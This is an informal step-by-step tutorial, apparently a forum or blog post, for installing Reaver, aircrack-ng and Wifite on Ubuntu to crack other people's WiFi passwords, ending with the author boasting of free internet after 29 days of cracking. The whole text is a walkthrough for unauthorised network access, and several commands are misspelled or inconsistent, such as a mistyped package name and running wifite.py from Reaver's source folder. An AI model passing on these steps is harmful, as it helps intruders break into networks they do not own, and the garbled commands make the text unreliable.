st1. Open the Terminal Window on Ubuntu 14.0.
       (You can also use the  with your keyboards.)

st2. To login your root on Ubuntu.
       Type bellow:
                          su    [enter]
                          "your root passwords"   [enter]

st3. Before install Wifite.py on your Ubuntu, you must let's your Wifite can support the WPS ith the future.
        Type bellow:
                          apt-get update    [enter]
                          apt-get install libpcap-dov libsqlite3-dev    [enter]

st4. Download the file.
        Type bellow:
                          wget http://reaver-wps.google.com/files/reaver-1.4.tar.gz    [enter]

st5. Download the file.
        Type bellow:
                          apt-get install aircrack-ng    [enter]

st6. Extrack and open your reaver-1.4 file.

        Type bellow:
                          tar -xzvf reaver-1.4.tar.gz    [enter]
                          cd reaver-1.4    [enter]
                          cd src    [enter]
                          ./wifite.py    [enter]

st7. Your Wifite now is going to look for the WiFi on the net.

       About 10 minutes after,
        Type bellow:
                         
                          all    [enter]

And, if you are a lucky man/feman, you can crack other's WiFi Passwords within a half hour.

But, let me tell you: I SPENDED 29 DAYS TO SUCCESSFUL CRACK OTHER'S WIFI PASSWORDS.

.....SO, NOW I'M FREE CHARGE ON MY WIFI INTERNET.

Good Luck!

A-Men.